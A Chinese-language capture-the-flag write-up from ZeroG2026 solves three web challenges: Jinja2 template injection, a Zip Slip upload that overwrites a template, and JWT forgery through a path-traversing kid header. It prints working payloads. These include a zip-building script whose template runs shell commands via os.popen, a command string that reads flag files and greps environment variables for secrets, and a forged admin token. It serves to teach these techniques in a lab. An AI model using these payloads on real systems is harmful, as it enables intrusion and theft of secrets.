ZeroG2026赛后复现(web)

ZeroG2026赛后复现(web) Space Notes / 星际便签 ZeroG2026ZeroG 空间站内部有一个轻量级便签系统用来记录轨道修正、实验安排和临时消息。 工程师说这个系统只提供 登录 写便签 预览便签 管理员面板 看起来只是一个普通 Flask 小应用。 但 Fen 留下了一句很奇怪的话 “如果模板会说话那它也许会泄露秘密。” 请拿到管理员权限读取动态 flag。我们先进login随便输一个名字admin是访问不了的看到有一个new note的功能感觉有点像模板注入了输入{{7*7}}输出49输入{{7*7}}输出7777777确定了jinja的模板注入先测url_for接下来的步骤其实就是有点像前两天写的模板注入题一样的思路只不过这个可能没有过滤这么多东西但是paylaod是通用的但是有个弯子是我们再正常查找根目录下的东西时并没有看到文件傻了忘记排除环境变量了最终flagflag{53645d09-28b5-4fcd-8fe9-ffafebec19ee}Zero Upload / 零重力主题包ZeroG 空间站上线了一个照片墙系统成员可以上传轨道照片也可以上传自定义主题包来改变照片卡片样式。 开发人员声称 “主题包只是 ZIP里面放一些 HTML 片段和资源文件不会有危险。” Fen 看完源码后留下了一句话 “压缩包里的路径也许不只通向解压目录。” 请利用主题包上传功能读取动态 flag。看到题目给了zip的压缩包在看这一句“压缩包里的路径也许不只通向解压目录。”我们想到压缩包的路径穿越但是这个知识点我不太清晰再又寻找了一些别的信息特征未果后确定了大概是这个知识点时我去寻求了一些博客的帮助所谓压缩包路径穿越又称Zip Slip重要的意思就是我们都知道常规的压缩包路径正常解压到的都是基本统一的但是如果系统的解压程序信任了压缩包内的文件名没有判断写入的路径是否为安全路径时就会可能造成恶意的覆盖路径。一开始的默认路径是www/var/html 文件的路径是uploads/base/shell.php 这个时候拼接的是www/var/html/uploads/base/shell.php 但是如果说在这个环境下我们是可以通过root/base/shell.php这个路径去利用漏洞执行恶意代码的 那么如果我现在写文件的路径是../../../root/base/shell.php那么最终就会把前面的路径覆盖最终利用成功先看环境内发现有一个上传图片和上传压缩包的位置结合目前掌握的信息我们优先把目光放在上传压缩包的功能上。那么我们转头看一看给我们的源码上有没有信息Orbit Gallery Home Upload Photo Upload Theme {% with messages get_flashed_messages() %} {% if messages %} {% for msg in messages %} {{ msg }} {% endfor %} {% endif %} {% endwith %} {% for photo in photos %} {% include theme/card.html %} {% endfor %}这一段可以发现系统会渲染theme/card.html这个路径也就是说如果覆盖了这个路径就可以控制这个渲染的模板再看看app.py中的try: with zipfile.ZipFile(zip_path, r) as zf: for member in zf.infolist(): # 故意的漏洞点未校验 member.filename 是否包含 ../ target_path extract_root / member.filename if member.is_dir(): target_path.mkdir(parentsTrue, exist_okTrue) continue target_path.parent.mkdir(parentsTrue, exist_okTrue) with zf.open(member, r) as src, open(target_path, wb) as dst: dst.write(src.read())这个漏洞点他都给我们标好了。。。有前面的代码我们也能知道他的原始路径拼接好了是app/themes,所以我们现在就可以构造恶意zip的包了。对了还没有说他的模板是jinja的模板因为打开app.py里面第一句是from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory, abort而且这些格式都是类似的表达式。好了我们现在想着该怎么构造恶意zip包文件名通过刚刚的分析可以定为../../templates/theme/card.html先来测试一下i刚刚的思路吧我们先上传一个普通的模板注入表达式import zipfile payload r div classphoto-card h2Zip Slip Test/h2 pIf you see this, template overwrite succeeded./p p7 * 7 {{ 7 * 7 }}/p pConfig flag {{ config.get(ZEROG_FLAG) }}/p /div with zipfile.ZipFile(test_theme.zip, w, zipfile.ZIP_DEFLATED) as z: z.writestr(../../templates/theme/card.html, payload) print([] created test_theme.zip)发现现在是覆盖成功了现在直接写模板这个创建zip文件包的模板我自己写不出来所以就请教了资料然后积累下来。如果下次有相同类型的题目我们只要审他的源码找到他的原始模板存放路径然后略微修改一i就好了import zipfile cmd ( cat /flag /flag.txt /app/flag /root/flag /home/ctf/flag 2/dev/null; env 2/dev/null | grep -iE flag|zerog|gzctf; command -v readflag /dev/null 21 readflag 2/dev/null ) payload f div classphoto-card h2Flag Leak/h2 pConfig flag: {{{{ config.get(ZEROG_FLAG) }}}}/p pre {{{{ cycler.__init__.__globals__.os.popen(env | sort).read() }}}} /pre /div with zipfile.ZipFile(flag_theme.zip, w, zipfile.ZIP_DEFLATED) as z: z.writestr(../../templates/theme/card.html, payload) print([] created flag_theme.zip)最终flag flag{37fa8ffb-b94b-4300-b0d2-904f4d6f3b85}Orbit API / 轨道接口 ZeroG2026ZeroG 空间站提供了一个轻量级轨道数据 API。 普通成员登录后只能查看自己的身份信息 管理员可以访问内部轨道控制接口并读取动态 flag。 开发人员说 “JWT 都签名了应该很安全。” Fen 看完接口文档后留下了一句话 “信任 header 里的 kid就像信任未经校验的轨道参数。” 请利用 Orbit API 获取管理员权限并读取 flag。首先看页面有一个note是/static/mission.txt我们点进去看是空的这道题目对代审的能力要求就明显提高了我始终不能找到合理有效的利用链所以我去借助了别的师傅的wp帮助。重要的过程几乎都在app.py中首先def read_key_by_kid(kid: str) - bytes: 漏洞点 服务端直接信任 JWT header 中的 kid并拼接到 KEY_DIR 后读取文件。 未过滤 ../导致可路径穿越读取应用目录内其它文件作为 HS256 密钥。 key_path KEY_DIR / kid if not key_path.exists() or not key_path.is_file(): raise FileNotFoundError(key not found) return key_path.read_bytes()def verify_token(token: str) - dict: try: header jwt.get_unverified_header(token) except Exception: raise ValueError(invalid jwt header) kid header.get(kid, DEFAULT_KID) key read_key_by_kid(kid)这个应该是赛后打包环境上去特地给的提示比赛时应该是没有的。这一段好像又能理解了意思是服务器相信客户端中传来的jwt中的kid值然后通过KEY_DIR / kid拼接路径并且没有过滤../也就是可以利用路径穿越漏洞那么我们如果把header中的kid改成 ../static/mission.txt那么拼接的/app/keys/../static/mission.txt也就等于/app/static/mission.txt话说到这好的那我们现在要去弄个token的值验证一下首先把开始页面上的东西都访问一遍在访问/api/login的时候我们看到给我们返回了一串登录的token值我们解码一下发现kid里面是user.key现在我们尝试修改一下在这里我们需要用到一个签名密钥在wp中这个密钥是在/static/mission.txt里的但是该环境可能对其进行过删除所以没有也没关系我们将那个空页面一整个复制粘贴过去以防有什么隐藏字符我们构造好伪造的token后就可以尝试去发送一个响应包eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCIsICJraWQiOiAiLi4vc3RhdGljL21pc3Npb24udHh0In0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIiwgImlhdCI6IDE3ODU1Njk0MjIsICJleHAiOiAxNzg1NTc2NjIyfQ.p1McyY1WRSgT1E-oZcODAPnJFtRvuYgQbutVzppjhAU看到我们现在的身份就是admin了现在访问flag的那个端口试试成功获取flag最终flagflag{548146cf-c9fd-4799-ba8c-32e48d26604d}